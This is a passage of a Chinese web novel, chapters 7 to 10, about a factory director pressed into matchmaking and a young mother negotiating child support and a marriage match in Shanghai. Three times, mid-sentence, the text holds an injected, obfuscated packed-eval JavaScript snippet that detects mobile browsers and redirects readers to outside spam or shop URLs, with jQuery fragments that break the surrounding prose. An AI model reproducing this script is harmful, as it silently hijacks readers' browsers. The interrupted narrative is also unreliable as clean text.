老马是陈铁军年轻时候的警卫员,这些年年纪大了,也跟着搬了过来,照顾老两口生活起居。 他见这情况,默默拿了菜去做饭,转头看见桌子上的礼品盒,正要帮忙收起来,却被陈勋庭拦了一下。 “等一下马叔。” 陈勋庭说着,眉头紧锁着单独抽出来了其中一盒,失神了一刻,便随手放到了门口的柜子上。 “怎么了勋庭?” “没事,这个今天下雨擦衣服用过了,回头我带走。” 张秀卿示意老马先走,自己拉着大孙子坐了下来。 “勋庭啊,今天喊你过来除了吃饭,另外有个事儿想跟你商量。” “什么商量。”陈铁军的拐棍敲了敲桌子,中气十足:“是命令!” 陈勋庭幽幽坐着,抬眸看过去:“爷爷,我不是您的兵,您的命令也对我没用。” “你小子现在胆子是越来越肥了!”陈铁军气的胡子都要翘起来,“这次你不听也得听,没用也得用!” 张秀卿推了一把老伴儿,在旁边打圆场,“其实这事儿是为了你好,勋庭啊,你也老大不小了,以前说你没孩子怎么办,你倒是好,接了两个回来,可你这每个媳妇儿还是不行啊。” “孩子有阿姨照顾,不需要。” “什么孩子,我说的是你。”张秀卿刚才慈祥的神色严肃起来,“我知道陈家对不住你,可你不能拿自己的终身大事开玩笑,你要是再不找媳妇儿,我就当是你在怪奶奶没有照顾好你。” “……”陈勋庭叹了口气:“奶奶,您这么威胁我没用的,这招数都用几年了,我真是没有成家的打算,对我而言,工作上的事情远大于我自己。” “等你找个媳妇儿,你就知道工作上的事儿,还是不如媳妇儿重要了。” 陈勋庭:“不是的奶奶,我是真心觉得工作的事情更重要,我连自己都觉得自己比不上工作,如果娶个媳妇儿回来,我照顾不周,不是要委屈别人吗?” 张秀卿循循善导:“你要是有喜欢的,碰见那种一见倾心的,你就不会照顾不周。” “……我没有喜欢的。” “你没见怎么知道没有?” “……” “奶奶。” 陈勋庭有些无奈,他要是知道这次吃饭又是为了结婚的事儿,一准不会过来。 “陈勋庭!”陈铁军忍不住了,站起来拿拐棍就要往陈勋庭身上打:“软的不吃,喂你点硬的看你还吃不吃!老子这么多年过来,就没见过哪个男人说自己不要女人的!” 陈勋庭没有躲闪,站着,硬生生挨了一棍子。 老头子没下重手,敲在了胳膊上,可敲的也不轻,应该都起印子了,但陈勋庭愣是一声都没吭。 张秀卿匆忙去阻拦,陈铁军没想到他真就硬挨了这一下,最终冷哼一声,坐了回去。 “爷爷,您打也打了,就放过我这次吧。”陈勋庭呼吸有些沉重,眉眼间,带着淡淡的疲倦。 张秀卿眼泪都掉下来,好半天过去,才擦了眼泪开口。 “勋庭啊,你爸妈都不在,我们俩咋能看着你孤身一辈子呢?本来小时候就委屈了你,现在咋也想让你过的幸福点,至少有个家庭,我们俩百年以后才能安心。” “可是奶奶……” “你别找那些借口了,左右我都听腻了,这次我们已经跟你二婶交代过了,她在街道办工作,给您参谋着找个合适的,你结不结婚,再考虑,但是相亲得去一趟,就当是给你自己一个机会也行。” 听张秀卿这样讲,陈勋庭犹豫了一下。 就当是去应付了事吧。 “好,我去相亲。” “诶!”张秀卿一下子来了精神,“你相亲想见个啥样的,你二婶儿那边认识不少好姑娘。” “……” 陈勋庭沉默了,女人在他世界里,容量占比恐怕连百分之一都没有。 真要说个具体的类型…… 很突然的,陈勋庭脑海里冒出来一个陌生又熟悉的曼妙身影。 俩人可真是缘分。 但…… 陈勋庭淡淡道:“随意吧,我这个年纪,也不用找太小的,耽误了人家也不好,我还有两个孩子,估计没多少姑娘愿意接受。” “那可说不准,缘分这种东西,天注定的,改明儿你得去街道办走一趟,给你婶子说说。” 陈勋庭算是默认了。 也许是打了孙子,陈铁军觉得愧疚,一顿饭下来,都没再怎么说话,直到陈勋庭要离开的时候,才转身将自己提前买的一些水果递给他让他拿回去。 张秀卿送陈勋庭出门,外面的雨已经停了。 “你爷爷就这个脾气,胳膊还疼吗?” “不疼了奶奶,我没事。” “俩孩子都挺好吧,放假了带过来,我给你带一段。” “知道了。” 陈勋庭的院子距离这边不算远,他走了大概十几分钟就到了。 “东家回来了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208100|151043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 家里照顾孩子的周姨替陈勋庭开门后,从他手里接过袋子。 “知道东家今儿要自己去看老爷子,我就带着俩孩子先吃过饭了,东家这水果我给您洗洗,这……这毛巾?” 周姨一愣,这怎么有一条用过的毛巾? “……放架子上晾着吧,不用管。” “知道了。” “他们两个呢?” 这问的是两个孩子,大的十四岁叫陈文杰,小的才四岁叫陈文星。 “文星已经睡了,文杰应该在写作业,我去帮您喊他?” “不用了,周姨,你也休息吧。” 收拾后,很快,屋子里只剩下了陈勋庭一个人,他坐在沙发上,翻动着报纸,等时间到了十点,院子里,陈文杰住的那间房子的灯‘啪’的灭了。 整个院子,就又剩下了陈勋庭身边的一盏台灯。 又过了一会儿,陈勋庭站起身进了卧室,台灯被熄灭,屋子暗了下来。 黑暗中,陈勋庭少有的……失眠了。 他向来忙,白天一件事接着一件事等着他去处理、批示,连睡觉时间都是在计算中。 可今天,陈勋庭躺在床上。 清晰的听着自己的呼吸声,失眠了。 …… 而在孟家,同样有人失眠。 “今天你的事儿我爸跟我提了一嘴,清树,你不能总是这么粗心大意的。” 顾清树有些烦躁。 在厂里被孟厂长训,在家里又被孟厂长的女儿念叨,实在是烦。 “我知道了。”顾清树叹了口气,站起身,温柔的抱着妻子孟婉,“我这不是还年轻,还在学习,文件最后我找到了,爸那边应该已经消气了,你也就别再说我了,好不好?” “我没有说你,我就是提醒你一下。”孟婉温柔的解释。 “嗯嗯,我知道婉婉最好了。” 孟婉被夸的不好意思,笑了笑,“对了,今天还听说你亲戚找你去了,咋回事儿,我咋不知道你家还欠人钱,都能把人家逼的找到厂里去。” “害,是那那种远房的乡下亲戚,乡下人都是这样,动不动就想着去厂里闹啊说啊的,没一点体面。”顾清树面不改色,说出自己提前编好的谎话。 “那也就是说,你家真的欠别人钱?” 顾清树笑着点头:“是我爸当年遇到困难借了点钱,他记性不好给忘了,现在想起来,自然是要还钱的。” “外地人来一趟不容易。”孟婉认真的道:“以前不记得了就算了,现在知道了,还是早点把钱还给人家吧,主要是再去厂里,我爸那边也不高兴。” 顾清树紧了紧拳头,脸色有些难看,松开胳膊,独自坐到了旁边难过。 “怎么了清树?” “……婉婉,你知道的,咱俩结婚,我家也花了不少钱,我爸现在手里……钱不多了,其实攒攒也能还得起,但是你也说了,人家来一趟不容易,就等着这几天把钱都给要回去,要不然说还要去厂里闹。” “怎么这样?”孟婉皱起眉,秀气的五官带着一丝愠怒:“这就有点不讲道理了,又不是不还,不能再宽限些日子吗?” “他们说不行,所以我也发愁。” 顿了顿,顾清树犹豫着开口:“婉婉,能不能……把你的体己钱先借我用点,我爸妈很快就能还上,婉婉,帮帮我爸吧。” 孟婉犹豫了一下,“什么你爸我爸,都是咱爸,唉,要借多少?” “六百。” “……你们干什么了欠这么多?” “我爸当年骨折做手术的钱。” 他早就把话准备好等着孟婉了,孟婉拒绝,他也仍有一番说辞,到最后,孟婉还是架不住答应了他。 “婉婉,我就知道你最好!”顾清树说着,主动上前再次抱住了孟婉。 孟婉人被家里保护的很好,向来是吃软不吃硬,三两句话的功夫,又被顾清树哄得眉开眼笑。 她清秀的眉眼笑起来很可爱,顾清树赞叹了一句,惹得孟婉脸都红了。 可今天,灯光下,顾清树却怎么都觉得,她的相貌,比平时更加清汤寡水。 甚至是……无趣。 “想什么呢?”孟婉抽走自己的手,“我去洗澡了。” “没想什么,你先去吧。” 顾清树看着孟婉离开的背影,猛烈地摇了摇头,将脑袋晃的有些晕了,这才停下来。 第二天,顾清树赶在上班前,把钱拿给了父母。 刚见,顾清树就厌恶的开口:“赶紧把钱给沈家人,让她以后再也不许去厂里,不然我不会再对她客气!” 钱腊梅瞥了一眼儿子,“孟婉那边没生气吧。” “没有,她那边好说,赶紧去吧。” 钱腊梅去没有先去招待所,而是先去找了自己的大闺女顾清华。 她可没忘,她还有个给沈晚月找男人的任务呢。 8. 第 8 章 昨天的雨并没有让城市的温度降下去,一大早,空气里仍旧带着黏腻潮热的水汽。 陈勋庭走得早,两个孩子还没有起床,他去带了三份馄饨再回来,独自吃完后,便走出了家门。 小王:“厂长,政府有个早会,咱们这会儿过去还能提前十分钟到。” “先不去。” 陈勋庭想起昨天奶奶的话,抬手捏了捏眉心,“先去一趟厂里,昨天纺织厂的文件有点问题。” “是。” 黑色轿车缓缓行驶出这条街区,路过街道办事处办公楼时,陈勋庭侧目过去,片刻,还是收回了目光。 “这孩子。” 街口一处大院子门外,陈宏伟看着轿车没有停下的意思,叹了口气。 席巧兰解开围裙从屋里走出来,远远瞥了一眼就明白了,“看吧,我就说他肯定不答应,你这个当二叔的还没我猜的准,就他这个脾气要真能去相亲,恐怕现在连孩子都生好几个,至于养俩别人家的在家当累赘嘛。” “行了。”陈宏伟皱皱眉,“你这话说了让孩子们听见影响不好,以后少说。” 席巧兰撇撇嘴也没再继续,换了个话题,“你记得送孙子上学,我去上班了。” “等会儿,我有办法。” 陈宏伟想了想,转头扬声喊:“陈胜利!” 一个带着眼镜的男人嘴里叼着半个酥饼跑了出来,“咋了?” “中午你有时间找你大哥一趟,你奶奶让他去相亲,我看他这意思,没人盯着八成又不去了,你去跟着他。” 闻言,陈胜利脸色立刻耷拉下来,“别呀,他那性格能听我的吗?我我我,我中午报社要外采,你喊我姐去!” “你姐昨晚上在医院做手术加班就没回来,就你去,这是给你的任务。” “……” 陈胜利叹了口气,无奈只能应了下来,转头一想中午要去见陈勋庭,唉声叹气的出了门。 没办法,谁让家里就他跟大哥关系最好,而且最重要的,家里就他能被使唤的动。 陈家二房一共有四个孩子,老大陈健康在外地当兵,媳妇儿随军,只留了个半大的孩子在家里让老两口给帮忙带着,老二陈若楠在医院,常年加班忙的脚不沾地,还有个老四陈向前,前年送到燕京读书了。 家里就他一个壮丁,不抓他抓谁去! “胜利。” 陈胜利刚跨上自行车,“咋了云姨?” 席巧云笑着问:“你也参加工作两年了,一直没机会问你,有没有相亲的想法?你跟我说说喜欢的类型,我们组织部那边也方便给你找合适的。” “等我大堂哥啥时候结了婚,我再找也不迟。”说着,陈胜利还是客气道:“谢谢云姨,我暂时还是不用了。” “行,那你路上慢点。” 等他走远了,席巧云叹了口气。 这后妈确实是不好当,说句话也总得拿捏着分寸,不过好在他男人这几个孩子都是好相处的,这十几年来她也没有被为难什么。 很快,席巧云挎着包到了街道办。 她是组织部的组长,除了单位的工作,平时忙的最多的,也就是给男男女女们说亲了,今儿还约了个前同事,也不知道几点过来。 顾清华来的时候,恰好就看席巧云在发愣。 “席组长?” “……诶,来了清华。”席巧云回过神,又看见顾清华身后还有一个正当龄的女同志,“这就是你那个小姑子吧,姓孙,叫孙燕对吗?” 孙燕点点头,顾清华也连忙笑着问好,又说:“这孩子二十一了,在二小当小学老师,这不是想着带过来在你这边挑一挑,咱们老同事了,巧云姐,你可得帮忙把把关。” “有什么条件吗?”席巧云翻着自己这边记录的名册,“这个年纪好说的很,你小姑子又有工作,男同志她完全可以随便挑。” 孙燕坐下后便打量着办公室,这会儿听见问自己,才抬了抬下巴,细声说:“我想找个家庭条件好,工作也好的,最好……最好是个干部之类的,太差的我看不上。” 席巧云手上动作一顿,深深看了过去。 孙燕长相普通,但人瘦瘦的,还算清秀,只是眼神里的傲气压不住。 席巧云:“孙燕同志,干部我这边也有,只是你的条件,也得经过别人家同意才可以见面。” 顾清华陪着笑,“这些我们知道,其实条件差不多就……” “反正最起码也得是个小领导,不能比我哥更差。”孙燕皱眉打断道。 席巧云叹了口气,“别的呢?长相有要求吗?” “没有。”孙燕是个目标明确,“我就要领导,我的条件也不算差,而且我也年轻,我觉得人家见了我的照片大部分都会同意。” 说着,孙燕掏出一张自己的黑白照片来。 席巧云将照片收了起来,顿了顿,忽然想到了什么,打量了孙燕一会儿。 “怎么了?”孙燕摸了摸自己的辫子。 “我这边确实有个人选,是个干部,而且还是个不小的领导,只是比你大九岁,今年三十了,家里……还有两个孩子。” 顾清华皱皱眉:“不行,我们家燕子可是正经的大闺女,三十岁还有俩孩子,这也差太大了。” “可以考虑。”孙燕却打算了自己嫂子的话:“他是什么领导?” 席巧云笑了笑,“我只能跟你说比你哥的领导还要大个几级,不过还得问过男同志的意思以后,他同意见面了才能跟你说其他情况。” 孙燕想了半天。 他哥在人社局是副局长,难不成是……局长? 这么高层的领导,她还没见过呢,条件肯定差不到哪儿去,有孩子也不怕,家里条件好吃不了苦,再说了,等自己嫁过去再生了孩子,就更不怕了。 “成。”孙燕点了头,忍不住又问:“他姓什么?” “陈。” 说定了这个,席巧云又给孙燕介绍了其他几个男同志,可惜都不满足孙燕要‘干部领导’的要求。 等孙燕走后,顾清华却没急着离开。 “巧云姐,我这儿还有个女同志。” 顾清华斟酌着语言,将沈晚月的情况说了一遍。 “这小沈情况就是这样,算是我家远房亲戚,我的表妹,他们家来一趟不容易,你看要有合适的也帮忙说说,没有那么高的要求,有个工作给她们娘仨个住处就行。” 席巧云心里感叹着这女同志的胆气,一边在纸上做记录,将沈晚月的情况写了下来。 席巧云:“沈晚月,有照片吗?” “小地方来的哪儿有照片,不过模样挺标致的,就看人家男方愿不愿意接受她的条件了。” “放心,我帮着多问问,这几天……” “巧云姐,能不能今儿就给帮忙找个合适的,她……你也知道,她是外地来的,家里急着回去呢。” 席巧云闻言,还真想出来一个人,从抽屉里扒拉了半天,扒拉出来一张折叠纸,里面带着一张黑白照片。 “倒是有个现成的男同志,不过他条件不好,这都放了一年多了,也没女同志愿意。” 说着,席巧云将纸递过去:“这人叫钟强,三十岁整,在纺织厂里当车间工人,家里女人生病走几年了,家里就有个四岁的女娃娃,母亲也有病,条件不太好,但是不挑人,只要求是个女同志就行,住的是亭子间,但好歹也算有个屋檐。” “成,就他。” 顾清华也不犹豫,直接点了头,反正沈晚月的要求就是有工作有住处,她觉得这个钟强就跟沈晚月挺配的。 - “……三十?” 招待所,沈立民凑到姐姐身边看着那男人照片皱起眉,“这照片咋看都是二十来岁啊,我说你们不是骗人呢吧。” 这次,顾家父母带着顾清华一块儿来了招待所。 顾清华笑了笑,语气温柔:“我也是有孩子的人,这不肚子里还揣着一个,都是当妈的,我理解你姐的心情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208101|151043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咋能给她说个骗子呢,人家这是头些年参加工作的照片,照相贵,也就一直没换,但模样也不丑,而且符合晚月提的条件,你看要成了,就约个时间跟他见见面。” 她见沈晚月没反应,又补充:“要是看对眼了,对方当天就能跟你领证,你两个兄弟也好安心回家去。” 沈晚月仍是没说话。 这照片上的男人的确不丑,正常人的五官长相,也有个厂里的稳定工作,但这个年代,如果仅仅只是找个女人这么简单的条件,不应该这么久了还没找到续弦。 沈晚月将照片扣在桌子上,柔声笑了笑:“这个先不急,还是先拿两个孩子的抚养费吧,都拖几天了。” 钱腊梅咬咬牙,肉疼的从怀里掏出一个信封。 那信封有些厚度,里面毛钞跟整张大团结加在一起,叠成了一小块。 “数数。”沈晚月将信封扔给沈立民。 “一五一十,二五……” 屋里安静下来,只剩下哗啦啦的数钱声跟吐唾沫声,沈立民查了半天,皱起眉,“一千八,姐……” “还有二百上次给你了。”钱腊梅急忙补充,“你收下了,忘了吗?” “那个啊。”沈晚月点点头:“我没忘,但那个不是给两个孩子补的压岁钱吗?” “你!” 钱腊梅拍着桌子站起来,“沈晚月,你不要得寸进尺。” 沈晚月幽幽叹了口,“钱阿姨,我只是在争取两个孩子应有的权益呀,不信的话,您联系一下法院?” 钱腊梅:“……” 顾清华拉了拉母亲的胳膊,笑着开口:“妹子啊,我知道你不是那种说话不算话的人,说了事成后不再纠缠我们家顾清树,我信你肯定能做到,可是…… 其实你不必这么跟我们作对,你既然想留在沪市,以后说不定还得跟我们打交道呢,就算身为陌生人,谁知道那天有没有求着帮忙的时候呢?你跟我们处的关系好点,将来要是真有困难,万一我家也能搭把手呢。” 表面上说的搭把手,说白了,还是在威胁沈晚月。 “用不着!”沈立民听的晕晕乎乎,但也觉得听完心里不舒服,“你们把钱给了就行,我们才不用你们帮忙!” “你能说得准以后吗?”顾清华打量着沈晚月:“除非你不在沪市,不然同在一个地区,谁能做永久的保证?沪市可不是小地方,比你们想象中难混多了。” 顾清华的段位确实比钱腊梅两口要高。 她想让沈晚月保证以后有困难也不找他们,或者,她其实是想让沈晚月知难而退,离开沪市。 “你说的没错。” 沈晚月点头,“以后的事儿现在是说不准的。” “这就对了。”顾清华笑了,“还是晚月妹子聪明……” “所以啊,我不能总想以后,得把握住现在才行。”沈晚月也笑眯眯,打断了顾清华,“现在能拿的抚养费,我为什么不拿?钱阿姨,差两百,要不要先打个欠条?” 顾清华:“……” 被沈晚月这么一堵,顾家人有气没地方撒,最后还是顾清华拍板,把剩下的两百块拿了出来。 “抚养费也给了,妹子,你看相亲的事儿呢?” 沈晚月:“这个钟强是不是家里还有别的事儿你没跟我说?” 顾清华是第一次见沈晚月。 她从前在弟弟口中听过,本以为只是个普通乡下女人,最多有点姿色。 可这次过来才知道,怨不得弟弟愣是纠纠结结了五年才下定决心跟她断开,这女人实在是漂亮极了,独有一番气质,而且,比她想象中要聪明太多。 “……有个生病的老娘,除了这个,都跟你说了,你要同意,就见见面,这是我们目前能找到的最好的了。” “晚月,你觉得呢?”一直没说话的沈建国开了口。 他们已经住了快一星期了。 沈晚月沉默了片刻,轻飘飘的点了头,“先见一下面吧,不过成与不成,还得两说。” 9. 第 9 章 沈晚月这边点了头,顾清华走的时候,直接用招待所的电话给街道办组织部打了个过去。 “男方还不知道,所以见面时间得等那边去问一下才能定下来,到时候就直接打招待所的电话,你们注意接听。” “知道了。” 沈建国跟沈晚月陪同着一块儿下了楼,等顾家人走了以后,沈立民满脸好奇,带着两个孩子下了楼。 “怎么把他么带下来了?”沈建国皱起眉,瞪着沈立民。 这几天考虑到外面是火车站,人多眼杂的怕有人贩子,就把两个孩子的活动范围限制在了房间跟招待所的院子里。 沈立民有些委屈:“他们俩闹着要跟出来的,况且我看他们一直在里面也太闷了点。” “带他们出来走走吧,昨天我跟立民出去,看到前面有个人少的公园,给他们放放风,小孩子不能总拴着。” “好耶!妈妈伟大,我最爱妈妈了!”沈天凯欢呼了一声,冲过去抱着沈晚月的胳膊。 “谢谢妈妈!”沈琪琪也眼睛亮亮的。 琪琪是个非常安稳的孩子,远比同龄人要成熟很多,正如书里所写,她是个智商绝对超群的天才,但天才的童年,也是需要玩闹的。 如果不是现在情况特殊,沈晚月绝不会拴着他们不让出去。 有了沈晚月一锤定音,三个大人带着两个孩子散步去了火车站不远处的公园,等到了以后,趁着沈建国看着两个孩子,沈立民拉着沈晚月去了旁边的石凳坐着。 “姐,你别管哥怎么说,也别管我,你就按你自己的想法来,要是看不上那个什么强,咱们就让他们顾家慢慢找,实在不行了,你跟我们回老家去。” 沈晚月:“我会的,不过回老家还是算了。” 沈立民抿抿嘴,沉默着没有再说话。 他刚才说的是真心话。 他在家里最亲的就是这个姐姐,可他也明白,姐姐在家一直带着孩子住着,乡下容易被人背后议论,爸跟嫂子那边也要有意见。 姐回家了,反而更容易受委屈,尤其是姐现在有钱了,保不准就被谁惦记上了。 “妈妈——” 两个孩子从没见过这么大的公园绿地,天凯跟个脱缰野马似的到处疯跑,琪琪也是好奇的四处观望。 这会儿可能是跑累了,天凯带着满脑袋的汗冲了过来。 天凯结果小舅随身带着的茶壶灌了两口水,又蹭到了妈妈身边,“妈妈,刚才大舅跟我们说,你要给我们找新的爸爸对不对?” 沈晚月抬眼看了看沈建国。 沈建国有些无奈:“提前跟他们知会一声,别到时候闹出岔子,我也是怕他们害怕不接受什么的。” “不会的。”身量更小的沈琪琪脆生生的接话,“只要妈妈开心,我们两个不会给妈妈添乱。” 她说着,一胳膊抡到沈天凯的手上,“赶紧的,给妈妈立个保证!” “嗷嗷嗷!”沈天凯立刻有模有样的举起拳头,一副要宣誓的样子,“我保证,我一定保护好妈妈,有了新爸爸,也会乖乖听妈妈的话!” 沈晚月被沈天凯逗笑了。 这孩子是个没心没肺的,宣誓完了,转头看见只鸽子,瞪大眼睛,‘咕咕哒’着就又跑走了。 笑完了,沈晚月这才把目光投到沈琪琪的身上。 小姑娘从刚才开始,其实手里的拳头就一直紧紧攥着。 琪琪是个非常聪明的宝宝,从沈晚月苏醒第一眼就知道。 那时候,小小的孩子扑到自己身上,低声说着都怪她自己,如果没有她拖累,妈妈就不会日子艰难。 当时沈晚月心就软了。 她并不是个跟孩子接触很多的人,突然当妈,却让她在那一瞬间体会到了什么叫做心疼。 心疼孩子,心疼原身。 如果自己没有穿过来,这两个孩子的命运可能就是沦落成跟书中那样,大的因为顽劣长大后出了意外,小的聪明无比,却心有怨气,郁郁而终。 书中只感叹她们不是男女主的血脉所以不争气,可谁又能知道,在她们童年时期经历过什么? 其实沈晚月当时大可以开启新的人生。 可躺在床上时,沈晚月握着琪琪柔软的小手,感受着小姑娘热腾腾流下来的泪珠子,她当晚便做了决定,绝对会带着两个孩子,这才一起来了沪市。 “琪琪,你来。” 沈晚月招招手,将女儿搂在了怀里,稍微用用力,想要把她抱到腿上时,沈琪琪却摇摇头。 “妈妈身体还没彻底好呢,我自己坐。” 沈晚月心又软成了一片。 她将自己的手包裹住女儿的小拳头,缓慢又轻柔的安抚着:“你在担心对不对?” 沈琪琪倔强的摇头:“没有,妈妈不用操心我。” “琪琪,你想让妈妈放心,但我们是母女,你心里的感觉我总能体会到一些,真的想让妈妈放心的话,可以试着将心里的话跟妈妈说一说,好吗?” 或许是沈晚月的语气太温柔了。 从前沈琪琪那颗很容易不安的心,这会儿竟然有种找到依靠的踏实感觉。 妈妈……跟以前不太一样了。 “琪琪,你可以试着相信一下妈妈,我有能力保护你们的。” “让我猜猜,琪琪宝贝心里在难受,或者说,在担心以后的日子,对不对?” 许久许久,小姑娘低下了头。 “嗯。” 小姑娘的手攥的更紧了,“我……我怕妈妈以后会比在姥爷家里,还被欺负。” “不会的。” 沈晚月用力握住了女儿的小拳头,“我跟你保证,绝对不会,你忘了吗?我们现在有钱,有生活的底气,就算是过得不好,也可以再重新开始。” “那……” 沈琪琪瘪着嘴,终于忍不住,红了眼眶,“那有了新爸爸,妈妈会不会不喜欢我了。” “不可能。”沈晚月再次保证。 “我绝对不会不喜欢琪琪跟天凯,不论你们是砸了隔壁邻居家的窗户,还是跟往婶娘的饭碗里放虫子,我永远永远,都会喜欢你跟天凯,我跟你保证琪琪,我可以……” 思前想后,第一次哄孩子的沈晚月迷茫的说:“我可以给你们写个保证书,或者跟天凯一样宣誓。” 沈琪琪手里,小姑娘的的拳头慢慢松开。 随后,小小一点的指头尖勾住了沈晚月的小拇指。 “拉钩?” 沈晚月松了口气,很认真很严肃:“拉钩!” “拉钩上吊一百年不许变,谁变谁是小蚂蚁!” “盖章!” “好。” 一大一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14208102|151043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小两个拇指尖尖,一下子紧密的贴在了一起。 小姑娘贴的很用力,好像这样,这个章就真的印在了手指上,印在了心底。 沈晚月:“我再去跟天凯盖章。” 沈琪琪扫了一眼在草地上打滚的哥哥,扭过头嘟起嘴吧,“他手上全是泥,还是算了吧妈妈,以后妈妈不喜欢他了,我觉得完全正常!” “……” 小小的天凯此刻还在朝着鸽子傻乐,笑呵呵的招手让沈琪琪过去一起玩。 沈琪琪嘟着嘴,哼了一声,扭过头没有搭理他。 天凯也不在意,也哼了一声,自己玩自己的去了。 不过,等到了晚上,沈晚月还是在沈天凯洗过手以后,跟他也印了个印章,不过这孩子玩的太累了,还没印完,到头就睡了过去,一旁的沈琪琪看着,要不是沈晚月拦着,又要给哥哥一个脑瓜崩。 - 市政府办公楼外。 小王看见陈勋庭开完会出来,连忙小跑着过去接过他手里的提包。 在车里坐了一下午的陈胜利打了个哈欠,远远的朝着陈勋庭摆手,“我的哥,我的祖宗,你可算是出来了,看在我请假过来等你一下午的份儿上,你就答应了行了行。” ‘嘭’的一声,车门被关上。 大热天的,陈胜利莫名感觉到一股寒气,缩了缩脖子,嘴巴闭了起来。 车里安静了一会儿,陈胜利还是忍不住,“哥啊,你就去瞅一眼吧,也不是逼着你找女人结婚,就当是帮老弟我完成任务,成不?” 陈勋庭看着窗外,“爷爷让你来的?” “我爸呗,他早上看见你没去街道办,就猜着你一准又要跳票,这不,家里就我这一个壮丁,只能派我来押解……啊不是,来求着你去看看,你就去吧,不然奶奶那边,我爸也不好交代。” 听到这,陈勋庭顿了顿,答应了。 陈胜利:“太好了!诶哟,我这也算是守得云开见月明,我这跟个大姑娘盼丈夫回家一样,哥啊,感谢赏脸哈。” 陈勋庭:“……” 很快到了街道办,赶在下班前,陈勋庭被推进了组织部。 看见陈勋庭过来,席巧云还有些不敢相信,揉了揉眼睛,冲着陈胜利比了个大拇指。 陈胜利哈哈笑了两声,“云姨,赶紧给我哥介绍介绍,看有没有什么合适他的女同志。” 席巧云本来准备下班了去找钟强,随手就把沈晚月的资料放到了桌子旁边,转而拿出了孙燕的照片。 “今儿就有一个,人家知道你哥的大概情况,直接就点头说了愿意。” 席巧云说着将孙燕照片递过去,“勋庭你看看,这长相挺清秀的,才二十一岁,还是个老师,端的国家饭碗。” “二十一?这么年轻?比我还小呢。”陈胜利凑过来瞄了一眼。 席巧云点头,“刚工作没多久,是个有心气儿的,说要找个干部领导才行,只要满足这一点,对男方没有别的要求,也不介意……” 席巧云不说,大家也都明白。 陈勋庭背景家世好,还是厂长,真要找肯定能找到。 可毕竟他年纪不小,还有两个孩孩子,有些女同志家里多少会有些介意。 席巧云小心打量着陈勋庭的神情,“你看成吗勋庭,要是成了,约个时间就能见面。” 10. 第 10 章 席巧云说着,又连忙补充:“要是没看上也没没事,只要你答应了接受相亲,跟婶儿说说你对女方的要求,我这儿天天有人家过来,多给你挑挑,找个喜欢的。” 陈勋庭出于礼貌,刚才接过了席巧云递过来的照片,但下一秒,就被他放到了桌子上。 陈勋庭:“谢谢二婶儿,麻烦二婶儿替我操心了,但我确实是没有这方面的打算。” “……唉。” 席巧云沉默了片刻,虽然已经猜到了这种结果,但还是忍不住想再努努力,“勋庭啊,你别怪二婶儿多嘴,你爷爷奶奶年纪大了,他们眼下最大的期盼就是你能结婚,你也替他们考虑考虑。” “他们那边我去说就行,二婶儿不用担心。” “那,那你弟,胜利今天早上被你二叔催着结婚,他说你不结婚他就不结婚,眼瞅着他弟弟都要毕业找对象了,胜利还是没心思,你当大哥的,给胜利做个榜样。” 闻言,陈勋庭侧目过去。 陈胜利立刻感觉到脖子里凉嗖嗖的,梦回当年小时候自己逃课,被大哥抽屁股的那一幕,连忙摆摆手。 “我我我……咳咳,那什么,我当时不是顺口一说,咳咳,云姨,我是自己不想结婚的,我还小,想再玩两年,跟,跟大哥没关系。” 席巧云:“……” 没出息的陈胜利立刻缴械投降,席巧云也不好再说什么。 陈勋庭也已经站了起来,“二婶儿,那我就先走了。” “唉,你这孩子……” 陈勋庭起身时,眼神就势落在了刚才席巧云放在桌子旁边的资料上。 【沈晚月】 陈勋庭已经转过身了,这个扫了一眼的名字却在脑海中海报一样放大了。 “二婶儿。”陈勋庭刚要走的脚步顿住,转过身。 这是同名同姓? “怎么了?” “这份资料是做什么用的?” 席巧云本来以为陈勋庭都要走了,有些猝不及防,迟钝了两秒才将沈晚月的资料拿起来。 “你说这位沈晚月同志的资料?” “嗯。” “这是今天过来相亲的女同志,我已经替她相看好了一个纺织厂工人,她那边也愿意见面,刚才正准备去工人家里说亲呢。” 陈勋庭:“……” 还真是……缘分。 陈勋庭闭上眼睛思索了一息,抬眸看了过去,“工人?叫什么?条件什么样?” 席巧云:“……啊?” 不怪席巧云没反应过来,实在是陈勋庭这一出跟闹鬼一样。 陈家人都知道,陈勋庭是个话少且不爱关心别人事情的性子,说白了就是座大石雕,平日里除了工作,眼睛里什么都看不见。 虽然不明所以,席巧云还是老实交代:“工人啊,就是普通的工人,名字叫钟超,女人前几年死了,还带着个闺女,老娘病着住在亭子间,要不是这条件差了点,不至于拖了一年没找到女同志愿意再婚的。” “那这位同志愿意?” 